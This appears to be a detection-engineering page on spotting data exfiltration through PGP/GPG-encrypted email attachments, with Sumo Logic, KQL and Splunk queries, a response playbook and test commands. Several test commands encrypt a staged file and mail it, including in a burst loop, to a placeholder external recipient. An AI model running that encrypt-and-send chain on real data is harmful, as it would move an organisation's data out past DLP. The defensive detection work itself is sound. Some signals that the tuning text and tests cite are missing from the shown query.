Detect Data Exfiltration via PGP/GPG-Encrypted Email Attachments in Sumo Logic CSE
Rather than pushing data to attacker-controlled infrastructure over SFTP/FTPS/HTTP (the channel used by purpose-built tools like StealBit and Exmatter), this sub-technique variant abuses a fully sanctioned, already-allowed corporate channel — outbound email through the organization's own mail server or SaaS mail platform (Exchange Online, Gmail) — by first encrypting the data with an asymmetric keypair (OpenPGP/GPG, or S/MIME) before attaching it. Because the ciphertext is opaque without the recipient's private key, content-based DLP, CASB, and email security gateways that rely on pattern/keyword/fingerprint matching over attachment contents cannot inspect what is being sent; they can only observe metadata (attachment extension, size, sender, recipient domain). This makes it an attractive technique for insiders exfiltrating IP to a personal or competitor mailbox, and has also been observed as a secondary channel by data-theft actors who encrypt staged archives with a public key before transfer specifically to prevent the victim organization, EDR/DLP vendor, or law enforcement from ever recovering the plaintext of what was stolen. Detection therefore has to pivot on the artifacts still visible around the encryption event: unusual attachment extensions (.gpg, .pgp, .asc, .p7m) or ASCII-armored PGP blocks, GPG/GPG4Win/Kleopatra process execution with encryption flags on a host with no prior legitimate PGP usage, importing an external party's public key immediately before using it, and bursts of such encrypted-attachment emails to external domains that exceed a single user's normal PGP-for-legitimate-purposes baseline (e.g., signing software releases, encrypting vendor communications).
MITRE ATT&CK
- Tactic
- Exfiltration
Sumo Detection Query
_sourceCategory="o365/management/activity" RecordType=DLPRuleMatch Workload=Exchange
| json field=_raw "AttachmentData" as AttachmentDataJson nodrop
| parse regex field=AttachmentDataJson "\"Extension\"\s*:\s*\"(?<AttachmentExt>[a-zA-Z0-9]+)\""
| where AttachmentExt matches "gpg" or AttachmentExt matches "pgp" or AttachmentExt matches "asc" or AttachmentExt matches "p7m"
| eval Signal="PgpEncryptedAttachmentOutbound", RiskScore=80
| fields _messagetime, SenderAddress, Recipients, AttachmentExt, Signal, RiskScore
| union (
_sourceCategory="windows/sysmon" EventCode=1
(Image matches "*\\gpg.exe" OR Image matches "*\\gpg2.exe" OR Image matches "*\\gpg4win*.exe" OR Image matches "*\\kleopatra.exe")
(CommandLine matches "*--encrypt*" OR CommandLine matches "*--recipient*" OR CommandLine matches "*-r *" OR CommandLine matches "*-e *")
| eval Signal="GpgEncryptInvoked", RiskScore=55
| fields _messagetime, ComputerName, User, Image, CommandLine, Signal, RiskScore
)
| sort by RiskScore desc Sumo Logic search combining Microsoft 365 DLP audit events (Exchange workload, RecordType=DLPRuleMatch) parsed for PGP/GPG/S-MIME attachment extensions with Sysmon process creation (EventCode=1) for GPG/GPG4Win/Kleopatra invoked with encryption flags, unioned into a single ranked result set.
Data Sources
Required Tables
False Positives & Tuning
- Verified business partners or legal/financial correspondents that routinely receive PGP/S-MIME-encrypted attachments — maintain a Sumo Logic lookup table of allowlisted sender/recipient-domain pairs
- CI/CD release-signing jobs invoking gpg.exe with --encrypt on a schedule from a known build host
Other platforms for THREAT-PGPEmail-AsymmetricEncryptedExfil
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate GPG Encryption of a Staged Archive with an External Recipient Key
Expected signal: Sysmon Event ID 1 for gpg.exe invoked with --quick-generate-key, --import, and --encrypt --recipient; Sysmon Event ID 11 for creation of test_pubkey.asc and staged_data.txt.gpg.
- Test 2Simulate Outbound Email of a PGP-Encrypted Attachment to an External Test Recipient
Expected signal: EmailEvents record with EmailDirection=Outbound to the external test recipient; EmailAttachmentInfo record with FileName ending in .gpg.
- Test 3Simulate a Bulk Burst of PGP-Encrypted Attachment Emails
Expected signal: Four EmailAttachmentInfo/DLP records within the same one-hour bin, each with a .gpg attachment from the same sender to external recipients.
- Test 4Simulate GPG4Win/Kleopatra Encryption on macOS via GPG Suite
Expected signal: Endpoint process telemetry (EDR/Sysmon-for-Mac equivalent) for gpg invoked with --encrypt --recipient flags, and file-creation telemetry for staged_data.txt.gpg.
Response Playbook
Triage
- Identify the sender, recipient domain, and attachment extension. Confirm whether the recipient domain is a known business partner, personal webmail (Gmail, ProtonMail, Outlook.com), or an unfamiliar domain — personal webmail recipients are the highest-signal indicator of insider IP theft.
- Check whether the sending account has any prior legitimate history of PGP/GPG usage (signing releases, encrypting vendor files). A first-time GPG invocation on a host, especially one belonging to a user in a role with access to sensitive IP (engineering, finance, M&A), is a strong anomaly.
- Pull DeviceProcessEvents/Sysmon Event ID 1 for the sending host in the hour preceding the email to look for the GpgEncryptInvoked or GpgKeyImportThenEncrypt signal — this confirms local encryption occurred on this device rather than the attachment arriving pre-encrypted from elsewhere.
- If a key import is present, extract the imported public key's user ID/email and compare it against the outbound email's recipient — a match strongly confirms the recipient's own key was used to encrypt data specifically for them.
- Check DeviceFileEvents/Sysmon Event ID 11 in the same window for creation of large archives (.zip, .7z, .tar) immediately before the .gpg/.pgp/.asc/.p7m file appears — this identifies what was staged and encrypted, and its approximate size/scope.
- Because content-based DLP cannot see inside the ciphertext, do not assume no sensitive data classification match means no sensitive data was sent — treat the metadata signal (extension, sender, external recipient) as authoritative on its own.
Containment
- If the sender is an active or recently departed employee, suspend outbound mail sending capability and disable the account pending investigation, particularly for burst/bulk signals.
- Quarantine the message in the mail flow if it has not yet left the tenant (Exchange Online transport rule / mail flow rule can hold matching attachments for review); if already delivered, this becomes a legal/HR matter rather than a technical containment action.
- Preserve the endpoint (do not wipe/reimage) — the local GPG keyring, encrypted source files, and process history are the primary evidence for what was sent and to whom.
- If a key import for an unfamiliar external identity is confirmed alongside encryption of business-critical files, treat this as a probable insider-threat case and engage HR/Legal before taking any account-level action that the employee would notice.
Evidence Collection
- The exact attachment filename, extension, size, and SHA256 hash from EmailAttachmentInfo/DLP logs, and the sender/recipient/timestamp of the message.
- The local GPG keyring contents (public keys imported, their associated email/user ID and import timestamp) via `gpg --list-keys` if the endpoint is still accessible, or the equivalent Sysmon/EDR process command-line history.
- Any pre-encryption archive or file staging activity (DeviceFileEvents/Sysmon Event ID 11) in the window before the .gpg/.pgp/.asc/.p7m file was created, to determine the scope of what was collected.
- Full process command-line and parent process chain for the gpg.exe/gpg4win/kleopatra invocation, to distinguish manual user action from a scripted/automated encryption step.
- Mail flow/transport logs confirming successful delivery (not just a send attempt) to the external recipient.
Escalation Criteria
- !The recipient domain is a personal webmail provider or a domain with no documented business relationship with the organization.
- !The sender has access to material non-public information, source code, customer PII, or trade secrets, and no prior legitimate PGP usage baseline exists for that user.
- !A key import for an external identity is directly followed by encryption and email of a large or sensitive archive — treat as high-confidence intentional exfiltration and involve HR/Legal immediately.
- !The burst signal (3+ encrypted-attachment emails within an hour) fires for a user who has resigned, been placed on a PIP, or is otherwise a known flight/insider-risk indicator per HR.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
EmailAttachmentInfo/DLP AttachmentData records showing the encrypted attachment's filename, extension, and hash - >
Local GPG keyring database (pubring.kbx/pubring.gpg) and its modification timestamp, showing when an external key was imported - >
Sysmon Event ID 1/DeviceProcessEvents for the gpg.exe, gpg2.exe, gpg4win.exe, or kleopatra.exe process launch and full command line - >
Sysmon Event ID 11/DeviceFileEvents for the creation of the source archive and the resulting .gpg/.pgp/.asc/.p7m output file - >
Mail transport/message-trace logs confirming final delivery status and timestamp for the outbound message
Tuning Guidance
Signal 1 (single encrypted attachment to an external domain) is the noisiest signal and will fire on legitimate vendor/legal/financial PGP correspondence — the false-positive rate drops sharply once a per-user, per-recipient-domain allowlist is built from the 30-day baseline hunting query above. Signal 2 (bulk burst) and Signal 4 (key import immediately before encryption) are substantially higher-fidelity and should be prioritized for alerting; Signal 4 in particular has very few legitimate causes outside of a scheduled automation job, since a human importing a stranger's key and immediately using it to encrypt data is not typical day-to-day PGP usage. Tune the burst threshold (default 3/hour) down for users in high-sensitivity roles (R&D, M&A, finance) and up for teams with a documented, high-volume legitimate PGP workflow (e.g., a security team that routinely emails encrypted credential exports).
Hunting Queries
Baseline hunt across the last 30 days for every user account that has invoked GPG/GPG4Win/Kleopatra with encryption flags, independent of any email signal — used to build the per-user PGP usage baseline referenced throughout triage, and to surface first-time users of the tool who warrant closer review.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("gpg.exe", "gpg2.exe", "gpg4win.exe", "kleopatra.exe")
| where ProcessCommandLine has_any ("--encrypt", "--recipient", "-r ", "-e ")
| summarize FirstSeen = min(Timestamp), Invocations = count(), Hosts = make_set(DeviceName) by AccountName
| sort by FirstSeen asc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(Image="*\\gpg.exe" OR Image="*\\gpg2.exe" OR Image="*\\gpg4win*.exe" OR Image="*\\kleopatra.exe")
(CommandLine="*--encrypt*" OR CommandLine="*--recipient*" OR CommandLine="*-r *" OR CommandLine="*-e *")
| stats earliest(_time) AS FirstSeen, count AS Invocations, values(host) AS Hosts BY User
| sort FirstSeen Atomic Red Team Tests
Generates a test GPG keypair representing an external recipient, imports its public key, and uses it to encrypt a dummy archive, simulating the on-host encryption step (Signal 3/4) that precedes emailing stolen data. Use only synthetic, non-sensitive test data.
Command
"dummy sensitive content" | Out-File C:\Temp\staged_data.txt; gpg --batch --yes --passphrase '' --quick-generate-key [email protected] default default; gpg --export --armor [email protected] > C:\Temp\test_pubkey.asc; gpg --import C:\Temp\test_pubkey.asc; gpg --batch --yes --trust-model always --encrypt --recipient [email protected] --output C:\Temp\staged_data.txt.gpg C:\Temp\staged_data.txt Cleanup
Remove-Item C:\Temp\staged_data.txt, C:\Temp\staged_data.txt.gpg, C:\Temp\test_pubkey.asc -Force -ErrorAction SilentlyContinue; gpg --batch --yes --delete-keys [email protected] 2>$null Expected Telemetry
Sysmon Event ID 1 for gpg.exe invoked with --quick-generate-key, --import, and --encrypt --recipient; Sysmon Event ID 11 for creation of test_pubkey.asc and staged_data.txt.gpg.
Expected Detection
GpgEncryptInvoked (RiskScore=55) fires on the --encrypt invocation, and GpgKeyImportThenEncrypt (RiskScore=70) fires because the --import and --encrypt commands occur on the same host/account within the 15-minute correlation window.
Sends a test email with a .gpg attachment to an external test mailbox using an approved test tenant, simulating the mail-flow side of the detection (Signal 1). Use only a controlled test mailbox you own — never a real third-party address.
Command
Send-MailMessage -From 'test-user@<YOUR_TEST_TENANT>' -To '<TEST_EXTERNAL_RECIPIENT>' -Subject 'Detection Test - PGP Attachment' -Body 'Automated detection engineering test' -Attachments 'C:\Temp\staged_data.txt.gpg' -SmtpServer '<TEST_SMTP_RELAY>' Cleanup
Remove-Item C:\Temp\staged_data.txt.gpg -Force -ErrorAction SilentlyContinue Expected Telemetry
EmailEvents record with EmailDirection=Outbound to the external test recipient; EmailAttachmentInfo record with FileName ending in .gpg.
Expected Detection
PgpEncryptedAttachmentOutbound (RiskScore=80) fires on the outbound email carrying the .gpg attachment to the external recipient domain.
Repeats the encrypted-attachment email send four times within a short window to the same or different external test recipients, simulating bulk staged exfiltration (Signal 2).
Command
for i in 1 2 3 4; do gpg --batch --yes --trust-model always --encrypt --recipient [email protected] --output /tmp/staged_$i.txt.gpg /tmp/staged_data.txt; echo 'Automated detection engineering test' | mail -s "Detection Test $i" -A /tmp/staged_$i.txt.gpg <TEST_EXTERNAL_RECIPIENT>; done Cleanup
rm -f /tmp/staged_*.txt.gpg Expected Telemetry
Four EmailAttachmentInfo/DLP records within the same one-hour bin, each with a .gpg attachment from the same sender to external recipients.
Expected Detection
BulkPgpAttachmentBurst (RiskScore=90) fires once AttachmentCount reaches the 3-per-hour threshold for the sending account.
Uses the command-line GPG Suite tooling on macOS to encrypt a dummy file with a test recipient key, validating that the endpoint signal (Signal 3) generalizes across platforms rather than being Windows-specific.
Command
echo 'dummy sensitive content' > /tmp/staged_data.txt; gpg --batch --yes --passphrase '' --quick-generate-key [email protected] default default; gpg --batch --yes --trust-model always --encrypt --recipient [email protected] --output /tmp/staged_data.txt.gpg /tmp/staged_data.txt Cleanup
rm -f /tmp/staged_data.txt /tmp/staged_data.txt.gpg; gpg --batch --yes --delete-keys [email protected] 2>/dev/null Expected Telemetry
Endpoint process telemetry (EDR/Sysmon-for-Mac equivalent) for gpg invoked with --encrypt --recipient flags, and file-creation telemetry for staged_data.txt.gpg.
Expected Detection
GpgEncryptInvoked (RiskScore=55) fires on the --encrypt invocation regardless of host operating system.
Related Detections
Tactic Hub
Detection Variants (3)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.
- THREAT-Exfiltration-GPGAsymmetricArchiveExfilAsymmetric Public-Key Encrypted Archive Exfiltration (GPG/OpenSSL/age)
- THREAT-Exfiltration-TLSAsymmetricNonC2TunnelBulk Exfiltration Over Ad-Hoc TLS Tunnel (openssl s_client / stunnel / socat / ncat --ssl)
- THREAT-Ransomware-AffiliateExfilToolingRansomware-Affiliate Custom Exfiltration Tooling (StealBit & Exmatter)